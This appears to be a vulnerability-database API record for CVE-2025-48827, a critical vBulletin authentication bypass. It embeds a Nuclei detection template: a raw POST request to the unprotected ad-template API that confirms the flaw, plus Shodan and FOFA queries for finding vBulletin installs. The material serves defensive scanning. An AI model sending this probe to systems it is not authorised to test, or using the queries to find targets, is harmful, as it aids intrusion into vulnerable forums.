{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2025-48827/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2025-48827/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2025-48827/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2025-48827/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2025-48827/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2025-48827"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2025-48827"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2025/CVE-2025-48827.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2025-48827\n\ninfo:\n  name: vBulletin 5.0.0-6.0.3 - Authentication Bypass\n  author: pszyszkowski\n  severity: critical\n  description: |\n    vBulletin 5.0.0 through 5.7.5 and 6.0.0 through 6.0.3 contain an authentication bypass caused by unauthenticated access to protected API controllers on PHP 8.1 or later, letting unauthenticated attackers invoke protected methods remotely.Starting from PHP 8.1, due to an internal adjustment to handling of ReflectionMethod::invoke() and similar methods, it now allows — by default — invocation of protected / private methods when using PHP's Reflection API.\n  impact: |\n    Successful exploitation allows unauthenticated remote attackers to execute arbitrary system commands as the web server user, resulting in full system compromise.\n  remediation: |\n    Upgrade to vBulletin 6.0.4+ before upgrading to PHP 8.1.\n  reference:\n    - https://karmainsecurity.com/dont-call-that-protected-method-vbulletin-rce\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-48827\n  classification:\n    epss-score: 0.75844\n    epss-percentile: 0.9951\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2025-48827\n    cwe-id: CWE-424\n    cpe: cpe:2.3:a:vbulletin:vbulletin:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: vbulletin\n    product: vbulletin\n    fofa-query: app=\"vBulletin\"\n    shodan-query: http.component:\"vBulletin\"\n  tags: cve,cve2025,rce,vbulletin,intrusive,vkev,vuln\n\nvariables:\n  rand_string: \"{{to_lower(rand_base(5))}}\"\n  rand_value: \"{{to_lower(rand_text_alpha(5))}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /ajax/api/ad/wrapAdTemplate HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        template={{rand_string}}&id_name={{rand_value}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 200\n          - contains(content_type, 'application/json')\n          - contains_all(body,'<div class=','ad_{{rand_value}}_inner','{{rand_string}}')\n        condition: and\n# digest: 4a0a00473045022100964582830e8b40d6108f67af798c841db12a7c3cd6cb82d071f7b31bce500781022051d7dec5389f9ef7a2224e51a56ffe032ab31b72dd7c7c4998e339e6476cb42e:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2025-48827"
}